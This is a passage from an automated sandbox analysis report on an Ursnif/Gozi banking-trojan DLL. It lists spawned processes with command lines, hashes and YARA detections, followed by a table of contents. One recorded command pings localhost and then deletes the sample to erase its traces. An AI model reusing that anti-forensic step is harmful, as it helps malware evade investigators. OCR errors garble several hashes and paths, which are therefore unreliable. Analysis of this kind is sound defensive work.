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Analysis Process: cvtres.exe PID: 7156 Parent PID: 5696

General

Start time: 10:24:32

Start date: 22/01/2021

Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MA
CHINE:IX86 '/OUT:C:\Users\user\AppData\Loca\Temp\RES1BBC.tmp' 'c:\\Users\usenAp
pData\Local\Temp\m5xmn43s\CSCBE8D23AB53C749FF947299C54732EF79.TMP*

Imagebase: 0x7ff62e800000

File size: 47280 bytes

MDS5 hash: 33BB8BEOB4F547324D93D5D2725CAC3D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: moderate

Analysis Process: control.exe PID: 1576 Parent PID: 2628

General

Start time: 10:24:35

Start date: 22/01/2021

Path: C:\Windows\System32\control.exe
Wow64 process (32bit): false

Commandline: C:\Windows\system32\control.exe -h
Imagebase: 0x7ff7d01d0000

File size: 117760 bytes

MDS5 hash: 625DAC87CB5D7D44C5CA1DA57898065F
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: rundll32.exe PID: 3524 Parent PID: 1576

General

Start time: 10:24:39

Start date: 22/01/2021

Path: C:\Windows\System32\rundll32.exe
Wow64 process (32bit): false

Commandline: ‘C:\Windows\system32\rundlI32.exe' Shell32.dll,Control_RunDLL -h
Imagebase: 0x7ff7af0f0000

File size: 69632 bytes

MDS5 hash: 73C519F050C20580F8A62C849D49215A
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: explorer.exe PID: 3424 Parent PID: 6988

General

Start time: 10:24:43
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Start date: 22/01/2021
Path: C:\Windows\explorer.exe
Wow64 process (32bit): false

Commandline:

Imagebase: 0x7ff6fee60000

File size: 3933184 bytes

MDS5 hash: AD5296B280E8F522A8A897C96BABOELD

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:

00000024.00000002.1049878498.0000000004DDE000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: GoziRule, Description: Win32.Gozi, Source:
00000024.00000002.1049878498.0000000004DDE000.00000004.00000001.sdmp,
Author: CCN-CERT

Analysis Process: cmd.exe PID: 6380 Parent PID: 3424

General

Start time: 10:24:59

Start date: 22/01/2021

Path: C:\Windows\System32\cmd.exe

Wow64 process (32bit): false

Commandline: 'C:\Windows\System32\cmd.exe' /C ping localhost -n 5 && del 'C:\Users\user\Desktop\Securit
elnfo.com.Generic.mg.81f401defa8faa2e.dll'

Imagebase: 0x7ff622070000

File size: 273920 bytes

MDS5 hash: 4E2ACF4F8A396486AB4268C94A6A245F

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: conhost.exe PID: 4824 Parent PID: 6380

General

Start time: 10:25:00

Start date: 22/01/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit): false

Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase: 0x7ff724c50000

File size: 625664 bytes

MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: PING.EXE PID: 5984 Parent PID: 6380

General

Start time: 10:25:00

Start date: 22/01/2021

Path: C:\Windows\System32\PING.EXE
Wow64 process (32bit): false

Commandline: ping localhost -n 5

Imagebase: 0x7ff779380000
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File size:
MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Disassembly

Code Analysis

Copyright null 2021

21504 bytes
6A7389ECE70FB97BFE9A570DB4ACCC3B
true

true

C, C++ or other language

Page 77 of 77



	Table of Contents
	Analysis Report SecuriteInfo.com.Generic.mg.81f401defa8faa2e.14295
	Overview
	General Information
	Detection
	Signatures
	Classification

	Startup
	Malware Configuration
	Threatname: Ursnif

	Yara Overview
	Memory Dumps

	Sigma Overview
	System Summary:

	Signature Overview
	AV Detection:
	Compliance:
	Networking:
	Key, Mouse, Clipboard, Microphone and Screen Capturing:
	E-Banking Fraud:
	System Summary:
	Data Obfuscation:
	Hooking and other Techniques for Hiding and Protection:
	Malware Analysis System Evasion:
	HIPS / PFW / Operating System Protection Evasion:
	Stealing of Sensitive Information:
	Remote Access Functionality:

	Mitre Att&ck Matrix
	Behavior Graph
	Screenshots
	Thumbnails

	Antivirus, Machine Learning and Genetic Malware Detection
	Initial Sample
	Dropped Files
	Unpacked PE Files
	Domains
	URLs

	Domains and IPs
	Contacted Domains
	URLs from Memory and Binaries
	Contacted IPs
	Public

	General Information
	Simulations
	Behavior and APIs

	Joe Sandbox View / Context
	IPs
	Domains
	ASN
	JA3 Fingerprints
	Dropped Files

	Created / dropped Files
	Static File Info
	General
	File Icon
	Static PE Info
	General
	Entrypoint Preview
	Rich Headers
	Data Directories
	Sections
	Resources
	Imports
	Exports
	Version Infos
	Possible Origin


	Network Behavior
	Network Port Distribution
	TCP Packets
	UDP Packets
	DNS Queries
	DNS Answers
	HTTP Request Dependency Graph
	HTTP Packets
	HTTPS Packets

	Code Manipulations
	User Modules
	Hook Summary
	Processes


	Statistics
	Behavior

	System Behavior
	Analysis Process: loaddll32.exe PID: 6000 Parent PID: 5944
	General
	File Activities

	Analysis Process: regsvr32.exe PID: 2628 Parent PID: 6000
	General
	File Activities
	Registry Activities

	Analysis Process: cmd.exe PID: 4828 Parent PID: 6000
	General
	File Activities

	Analysis Process: iexplore.exe PID: 4112 Parent PID: 4828
	General
	File Activities
	Registry Activities

	Analysis Process: iexplore.exe PID: 6076 Parent PID: 4112
	General
	File Activities
	Registry Activities

	Analysis Process: iexplore.exe PID: 5620 Parent PID: 4112
	General
	File Activities

	Analysis Process: iexplore.exe PID: 6156 Parent PID: 4112
	General
	File Activities

	Analysis Process: iexplore.exe PID: 4700 Parent PID: 4112
	General

	Analysis Process: mshta.exe PID: 5960 Parent PID: 3424
	General

	Analysis Process: powershell.exe PID: 6988 Parent PID: 5960
	General

	Analysis Process: conhost.exe PID: 5112 Parent PID: 6988
	General

	Analysis Process: csc.exe PID: 5336 Parent PID: 6988
	General

	Analysis Process: cvtres.exe PID: 5304 Parent PID: 5336
	General

	Analysis Process: csc.exe PID: 5696 Parent PID: 6988
	General

	Analysis Process: cvtres.exe PID: 7156 Parent PID: 5696
	General

	Analysis Process: control.exe PID: 1576 Parent PID: 2628
	General

	Analysis Process: rundll32.exe PID: 3524 Parent PID: 1576
	General

	Analysis Process: explorer.exe PID: 3424 Parent PID: 6988
	General

	Analysis Process: cmd.exe PID: 6380 Parent PID: 3424
	General

	Analysis Process: conhost.exe PID: 4824 Parent PID: 6380
	General

	Analysis Process: PING.EXE PID: 5984 Parent PID: 6380
	General


	Disassembly
	Code Analysis



